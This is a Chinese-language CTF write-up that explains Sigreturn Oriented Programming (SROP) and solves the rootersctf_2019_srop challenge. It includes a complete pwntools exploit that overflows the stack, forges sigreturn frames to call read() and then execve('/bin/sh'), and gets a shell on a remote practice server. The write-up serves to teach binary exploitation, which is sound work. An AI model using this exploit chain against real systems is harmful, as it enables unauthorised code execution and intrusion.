最近学习了一些srop的一些知识,这里通过一道题目来加深一下对srop的运用。
1.srop的简单介绍
这里推荐大家一篇文章srop
SROP全称为Sigreturn Oriented Programming,其攻击核心为通过伪造一个‘Signal Frame’(以下简称sigFrame)在栈上,同时触发sigreturn系统调用,让内核为我们恢复一个sigFrame所描述的进程,如一个shell、一个wrtie系统调用打印栈地址等,同时通过对sigFrame中rsp和rip的修改,连接多个sigFrame,可通过多次触发sigreturn系统调用,依次恢复多个sigFrame,实现不同的功能,构成SROP攻击。一个sigFrame可理解为一个进程被挂起时,用于保存进程的数据结构,当进程恢复时,通过触发sigreturn来恢复sigFrame,从而恢复一个进程。
SROP漏洞之所以能构成利用,是因为内核挂起某进程时保存的sigFrame和内核恢复某进程还原sigFrame的两个sigFrame,通过对栈指针寄存器sp的控制,不一致,从而还原出一个攻击者想要的进程。
srop也是通过这样的方式来攻击目标靶机从而get shell或读取flag的.
2.rootersctf_2019_srop题目
例行检查
64位程序,栈不可执行。
漏洞分析
函数的主逻辑:
可以看到汇编语言可供我们用的代码段不是很多,但注意到存在pop_rax_ret,可以控制rax,结合syscall来进行系统调用,这道题目为静态链接,所以我们不能返回libc来算地址,程序中也不存在system,binsh,我们可以利用srop来构造出一个伪造的栈空间,当系统调用sigreturn后,会利用栈上的数据恢复出一个进程,我们这里就可以构造出一个恶意进程。
思路
1.通过在栈上布局好我们的payload,调用完sigreturn后,让内核为我们恢复出一个read(),
2.我们通过read()将binsh读到data段(因为程序可利用的太少,我们考虑使用data段)
3.之后再通过srop来恢复出一个execv(),从而get shell.
exp分析
调用read():
syscall = 0x401033
main = 0x401000
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x402000 #data
frame.rdx = 0x100
frame.rip = syscall
frame.rbp = 0x402000 + 0x20 #设置一个buf大小,进而再次栈溢出
io.recvuntil('?')
payload = 'A'*0x88
payload += p64(0x401032)#pop_rax
payload += p64(0xf) #15号调用
payload += str(frame)
gdb.attach(io)
io.sendline(payload)
系统调用sigreturn,之后会为我们恢复出read().
binsh地址有了,
接下来我们就进行execv()的构造,
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x402000
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = 0x401033
payload = '/bin/sh\x00'
payload = payload.ljust(0x28,'A')
payload += p64(0x401032)
payload += p64(0xf)
payload += str(frame)
io.sendline(payload)
构造好的三个参数,从而get shell.
完整exp
from pwn import *
elf = ELF('./rootersctf_2019_srop')
io = remote('node4.buuoj.cn',29654)
#io = process('./rootersctf_2019_srop')
libc = elf.libc
context.log_level='debug'
context.arch ='amd64'
syscall = 0x401033
main = 0x401000
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = 0
frame.rsi = 0x402000 #data
frame.rdx = 0x100
frame.rip = syscall
frame.rbp = 0x402000 + 0x20
io.recvuntil('?')
payload = 'A'*0x88
payload += p64(0x401032)#pop_rax
payload += p64(0xf)
payload += str(frame)
io.sendline(payload)
frame = SigreturnFrame()
frame.rax = 0x3b
frame.rdi = 0x402000
frame.rsi = 0x0
frame.rdx = 0x0
frame.rip = 0x401033
payload = '/bin/sh\x00'
payload = payload.ljust(0x28,'A')
payload += p64(0x401032)
payload += p64(0xf)
payload += str(frame)
#gdb.attach(io)
io.sendline(payload)
io.interactive()
喜提flag!!!